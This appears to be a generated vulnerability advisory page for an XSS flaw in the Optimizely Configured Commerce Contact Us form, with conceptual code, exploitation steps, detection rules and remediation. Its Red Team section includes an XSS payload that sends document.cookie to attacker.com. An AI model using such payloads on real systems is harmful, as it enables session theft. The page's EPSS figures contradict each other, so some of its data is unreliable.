☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-22383

CVE-2025-22383 Cross-Site Scripting in Optimizely
📅 PUBLISHED: 2025-01-04 00:00 UTC 🔄 UPDATED: 2026-08-18 17:14 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22383 is a medium-severity input validation vulnerability in Optimizely Configured Commerce, specifically within the B2B application's "Contact Us" functionality. The flaw allows unauthenticated visitors to inject unfiltered HTML markup into email messages sent via the contact form. This can lead to reflected cross-site scripting (XSS) attacks, phishing campaigns, or email spoofing, potentially compromising user trust and data integrity. The vulnerability affects versions prior to 5.2.2408. No public proof-of-concept (PoC) or exploit code is available at this time, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Optimizely Configured Commerce is a proprietary enterprise e-commerce platform. The risk is limited to organizations using the affected software version.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must view the email)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction and does not directly lead to data exfiltration or system compromise, but it can be leveraged for social engineering and phishing.

Deep Dive & Mechanics

The vulnerability resides in the "Contact Us" form of Optimizely Configured Commerce B2B. The application fails to properly sanitize user-supplied input in the message body before embedding it into an email sent to site administrators or other recipients. An attacker can submit HTML markup (e.g., <script>, <img>, <a>) in the message field. When the email is rendered in an HTML-capable email client, the injected markup executes, potentially leading to:

  • Reflected XSS: If the email content is displayed in a web-based email client or a preview pane, the attacker's script runs in the context of the recipient's session.
  • Phishing: The attacker can craft a convincing email that appears to come from the legitimate site, tricking recipients into clicking malicious links.
  • Email Spoofing: The injected HTML can alter the email's appearance, making it look like a different sender or content.

The root cause is a lack of output encoding or input validation on the message field. The application likely uses a templating engine that does not escape HTML by default, or the developer explicitly disabled escaping for this field.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly embedding user input into email body
string userMessage = Request.Form["message"];
string emailBody = "<html><body>" + userMessage + "</body></html>";
SendEmail(emailBody);

Patched Code (Conceptual):

// Patched: HTML-encode user input before embedding
string userMessage = HttpUtility.HtmlEncode(Request.Form["message"]);
string emailBody = "<html><body>" + userMessage + "</body></html>";
SendEmail(emailBody);

The patched version (5.2.2408) applies HTML encoding to the message field, neutralizing any injected markup.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a vulnerable Optimizely Configured Commerce instance (version < 5.2.2408).
  • A target email address (e.g., admin@example.com) that renders HTML emails.

Exploitation Steps:

  1. Navigate to the "Contact Us" page.
  2. Fill in the form fields (name, email, subject) with arbitrary values.
  3. In the message field, inject the following payload:
    <script>alert('XSS')</script>
    
  4. Submit the form.
  5. When the recipient opens the email, the script executes, displaying an alert box.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection & Prevention:

  • Input Validation: Implement server-side validation to reject any HTML tags in the message field.
  • Output Encoding: Use HTML encoding (e.g., HtmlEncode in .NET) before embedding user input in emails.
  • Email Security: Configure email clients to display emails in plain text by default, or use a secure email gateway that strips HTML.
  • Web Application Firewall (WAF): Deploy rules to block common XSS payloads in form fields.

Lab Setup:

  • Use a local instance of Optimizely Configured Commerce (version 5.2.2407 or earlier).
  • Set up a test email server (e.g., MailHog) to capture and inspect emails.
  • Monitor logs for unusual form submissions containing HTML tags.

Indicators of Compromise (IOCs)

  • Network: Outbound connections from the email server to unknown domains (if payload exfiltrates data).
  • Email Headers: Emails with Content-Type: text/html containing unexpected script tags or event handlers.
  • Logs: Web server logs showing form submissions with <script>, <img>, or <iframe> tags in the message field.
  • File System: No file-based IOCs expected.

Detection Engineering

YARA Rule

rule CVE_2025_22383_ContactUs_XSS {
    meta:
        description = "Detects HTML injection attempts in Optimizely Configured Commerce Contact Us form"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22383"
    strings:
        $html_tag = /<[^>]+>/
        $script_tag = /<script[^>]*>/
        $event_handler = /on\w+\s*=\s*['"]/
    condition:
        any of ($html_tag, $script_tag, $event_handler)
}

Sigma Rule

title: CVE-2025-22383 - HTML Injection in Optimizely Configured Commerce Contact Us
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP requests to the Contact Us endpoint containing HTML tags
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - '<img'
            - '<iframe'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in message (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22383 - Optimizely Contact Us HTML Injection"; flow:to_server,established; content:"POST"; http_method; content:"/ContactUs"; http_uri; pcre:"/<[^>]+>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Optimizely Configured Commerce to version 5.2.2408 or later.
  2. WAF Rules: Deploy virtual patching via WAF to block requests containing HTML tags in the message field.
  3. Email Security: Configure email clients to display messages in plain text.

Long-Term Measures:

  • Implement a Content Security Policy (CSP) for web-based email clients.
  • Conduct regular security audits of input validation in all forms.
  • Train developers on secure coding practices, especially output encoding.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22383/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.